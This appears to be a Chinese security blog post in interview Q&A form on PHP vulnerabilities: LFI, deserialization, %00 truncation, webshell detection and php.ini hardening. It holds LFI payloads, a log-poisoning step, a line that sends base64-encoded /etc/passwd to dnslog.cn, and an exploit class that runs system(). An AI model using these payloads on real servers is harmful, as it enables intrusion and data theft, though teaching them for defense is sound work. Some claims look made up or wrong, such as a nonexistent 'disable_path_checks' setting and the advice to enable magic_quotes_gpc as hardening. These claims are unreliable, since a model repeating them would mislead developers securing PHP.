网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
PHP考察
php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的? php反序列化漏洞的原理?解决方案? php webshell检测,有哪些方法 php的%00截断的原理是什么? php.ini可以设置哪些安全特性 php里面有哪些方法可以不让错误回显?
一、PHP LFI本地包含漏洞
1. 漏洞原理
- 动态包含机制
使用include
/require
等函数加载用户可控参数(如$_GET['page']
),当未对输入进行过滤时,可包含任意本地文件php
// 漏洞代码示例 $page = $_GET['page']; include($page . '.php');
- 攻击向量扩展
- 路径遍历:
../../etc/passwd
- PHP伪协议:
php://filter/convert.base64-encode/resource=config.php
- 日志注入:包含access.log 并通过User-Agent插入PHP代码
- 特殊场景利用
allow_url_include=On
时远程包含- 配合文件上传实现代码执行
- 新版PHP限制
PHP 7.4+默认禁用null
字节截断,但仍可通过长路径截断(需php.ini
中disable_path_checks=Off
)2. 手工挖掘技巧
- 参数探测
使用Burp Intruder测试以下payload:http
/index.php?page=../../../etc/passwd%00 /index.php?page=php://filter/resource=/proc/self/environ
- 错误信息利用
触发包含不存在的文件,通过报错信息判断服务器路径结构- 时间盲注技术
包含/dev/random
导致响应延迟,验证漏洞存在性- 日志污染检测
修改User-Agent为<?php phpinfo();?>
,再包含/var/log/apache2/access.log
3. 无回显渗透方法
- DNS外带数据
通过php://filter/convert.base64-encode/resource=
编码文件内容,利用DNS查询外传:php
<?php file_get_contents('http://dnslog.cn/?'.base64_encode(file_get_contents('/etc/passwd')));?>
- 延时判断
包含/dev/zero
或/dev/urandom
观察响应时间差异- SMB中继攻击
利用file://
协议读取Windows共享文件- 内存马注入
通过包含.htaccess
修改PHP配置植入后门
二、PHP反序列化漏洞
1. 漏洞原理
- 序列化结构解析
PHP序列化格式示例:php
O:4:"User":2:{s:4:"name";s:5:"admin";s:6:"isAdmin";b:1;}
- 魔术方法触发链
__wakeup()
:反序列化时自动执行__destruct()
:对象销毁时触发__toString()
:对象被当作字符串处理时调用- POP链构造
组合多个类的魔术方法形成攻击链,典型如Laravel反序列化漏洞(CVE-2021-3129)2. 攻击案例
php
class Exploit { private $cmd = 'id'; public function __destruct() { system($this->cmd); } } $data = serialize(new Exploit()); // 发送$data到存在漏洞的接口
3. 防御方案
- 输入白名单校验
使用json_decode()
代替unserialize()
- 签名验证机制
ph
$data = $_POST['data']; $sign = $_POST['sign']; if (hash_hmac('sha256', $data, $secret_key) === $sign) { unserialize($data); }
- 类型限制
通过allowed_classes
限制反序列化类:php
unserialize($data, ['allowed_classes' => ['SafeClass']]);
- HIDS监控
部署主机入侵检测系统,监控unserialize()
调用栈
三、PHP Webshell检测方法
1. 静态检测
- 特征码扫描
使用正则表达式匹配危险函数:php
/(eval|system|shell_exec|passthru)\(.*\)/i
- 抽象语法树分析
利用PHP-Parser生成AST,检测可疑调用链- 熵值检测
计算文件信息熵,识别经过混淆的加密webshell- 时间戳校验
对比文件创建时间与版本管理系统记录2. 动态检测
- 行为监控
监控proc_open
、curl_exec
等敏感函数调用- 沙箱执行
在隔离环境中运行文件,记录系统调用- 流量分析
检测异常HTTP请求特征,如长连接、非常规端口通信3. 机器学习方案
- N-gram模型
提取操作码(opcode)序列训练分类器- 深度学习检测
使用LSTM网络分析代码上下文语义- 图神经网络
构建函数调用关系图进行异常节点识别
四、PHP %00截断原理
1. 技术背景
- C语言字符串特性
NULL字节(0x00)作为字符串终止符- 历史漏洞场景
- 文件上传绕过:
shell.php%00.jpg
- 路径截断:
/var/www/images/../../etc/passwd%00
- 版本差异
PHP <5.3.4允许magic_quotes_gpc=Off
时利用2. 防御措施
- PHP配置加固
ini
magic_quotes_gpc = On
- 输入过滤
php
$filename = str_replace(chr(0), '', $_GET['file']);
- 白名单校验
php
$allowed_ext = ['jpg', 'png']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $allowed_ext)) die('Invalid file');
五、php.ini 安全配置
1. 关键参数设置
ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen open_basedir = /var/www/html/ allow_url_include = Off expose_php = Off session.cookie_httponly = 1
2. 深度防御策略
- 资源限制
ini
max_execution_time = 30 memory_limit = 128M upload_max_filesize = 2M
- 错误处理
ini
display_errors = Off log_errors = On error_log = /var/log/php_errors.log
- HTTPS强制
ini
session.cookie_secure = 1
六、PHP错误抑制方法
1. 多层级控制
- 运行时配置
php
error_reporting(0); ini_set('display_errors', 0);
- 操作符抑制
php
@file_get_contents('unexist.file');
- 异常捕获
php
try { riskyOperation(); } catch (Exception $e) { log_error($e->getMessage()); }
- 自定义处理器
- php
- set_error_handler(function($errno, $errstr) { syslog(LOG_ERR, "[PHP Error] $errstr"); return true; // 阻止默认处理 });
2. 安全审计建议
- 日志分级存储
区分DEBUG日志与生产环境日志- 敏感信息过滤
在日志记录前脱敏数据库密码等关键信息- 日志轮转策略
使用logrotate定期压缩归档,设置访问权限
扩展防御体系
- WAF集成
部署ModSecurity规则,拦截包含../
、php://
等恶意请求- RASP防护
安装PHP扩展实时监控危险函数调用- 静态分析工具链
整合PHPStan、Psalm进行代码审计- 容器化部署
使用Docker限制PHP进程权限:dockerfile
RUN adduser --disabled-password --no-create-home phpuser USER phpuser
- 持续安全监测
定期使用OpenVAS、Nessus进行漏洞扫描